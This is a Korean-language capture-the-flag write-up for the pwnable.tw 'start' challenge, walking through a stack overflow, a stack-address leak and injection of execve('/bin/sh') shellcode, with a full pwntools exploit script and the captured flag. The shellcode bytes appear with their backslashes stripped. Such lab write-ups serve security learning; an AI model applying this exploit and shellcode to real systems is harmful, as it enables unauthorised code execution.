
풀어보도록 하자.

nx가 걸려있다. nx는 No eXecute를 뜻하는 것으로, 메모리에 쓰기 권한과 실행 권한을 동시에 부여하지 않는 보호 기법이다.

그런데 vmmap으로 확인했을 때 스택에 쓰기, 실행 권한이 모두 주어져 있었다..!
열심히 구글링 해봤는데 명쾌한 답은 못 찾았다.. 아무튼 NX가 켜져있더라도 스택에서 실행이 가능한 경우가 있다고 한다.
peda를 이용해서 메인 함수를 확인하고 싶었는데 계속 아무것도 안 띄워줬다. 그래서 ida로 까봤다.

메인 함수는 없고 _start 함수가 존재했다! 코드는 아주 심플했다.
먼저 5줄 push 해주는 부분은 ‘Let's start the CTF:’에 해당한다. 해당 문자열을 stack에 넣어준 것이다.
그 다음 레지스터들에 특정한 값들을 넣고 int 80h가 나온다. 과목 18 시간에 배웠던 것이다! int 80h는 eax에 들어간 값에 따라 특정한 system call을 발생시킨다.

위와 같이 레지스터에 원하는 값을 넣어주고 int 80h를 호출하면 system call을 통해서 원하는 동작을 수행할 수 있다.
위에서는 al에 4를 넣어줌으로써 write()를, bl은 파일 디스크립터(1이니까 표준 출력), dl은 출력할 문자열 크기, ecx는 문자열이 저장된 주소이다.
그 다음엔 al에 3을 넣어줌으로써 read()를, dl은 입력받은 문자열 크기에 해당한다. 마지막으로 esp를 다시 복귀시켜주고 ret하여 _exit 함수를 실행시키고 종료한다.
과연 어떻게 exploit할 수 있을까?
가장 먼저 보이는 취약한 부분은 read를 호출할 때 읽을 문자열의 길이로 넣어준 값이 크기에 마지막에 ret하는 부분을 우리가 덮을 수 있다는 것이다.

그렇다면 해당 부분을 뭐로 덮을까? PIE가 켜져있지 않기에 코드부분의 주소는 변하지 않는다. 그러므로 mov ecx, esp 코드의 주소를 그대로 가져와서 해당 부분으로 ret할 수 있도록 payload를 작성해준다.
mov_esp_ecx = 0x8048087
payload = b'A' * 0x14
payload += p32(mov_esp_ecx)
p.recvuntil(b':')
p.send(payload)
이렇게 되면 eip가 mov ecx, esp 코드 주소로 바뀌면서 해당 코드가 실행되고, write 함수가 실행되는데
이때 현재 esp가 위치한 stack을 출력시켜주게 된다. 왜냐하면 ret하는 게 pop eip로 실행되었기 때문이다.
따라서 출력된 stack 주소값을 leak하고, 마찬가지로 0x14byte의 dummy와 shellcode가 위치할 주소 4byte, shellcode를 read함수의 입력값으로 넣어주면 ret에서 shellcode가 저장된 주소로 넘어가서 shellcode를 실행하게 된다. (shellcode가 저장될 주소는 leak한 주소 + 20이다!)
stack = u32(p.recv(4))
log.info('stack= '+ hex(stack))
shellcode = b'x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x89xc2xb0x0bxcdx80'
payload = b'A' * 0x14
payload += p32(stack + 20)
payload += shellcode
p.send(payload)

사진으로 표현하면 위와 같다.
전체 exploit 코드는 다음과 같다.
from pwn import *
#p = process("./start")
p= remote('chall.pwnable.tw', 10000)
#context.log_level = 'debug'
mov_esp_ecx = 0x8048087
payload = b'A' * 0x14
payload += p32(mov_esp_ecx)
p.recvuntil(b':')
p.send(payload)
stack = u32(p.recv(4))
log.info('stack= '+ hex(stack))
shellcode = b'x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x89xc2xb0x0bxcdx80'
payload = b'A' * 0x14
payload += p32(stack + 20)
payload += shellcode
p.send(payload)
p.interactive()

flag를 얻어냈다!
🚩 FLAG{Pwn4bl3_tW_1s_y0ur_st4rt}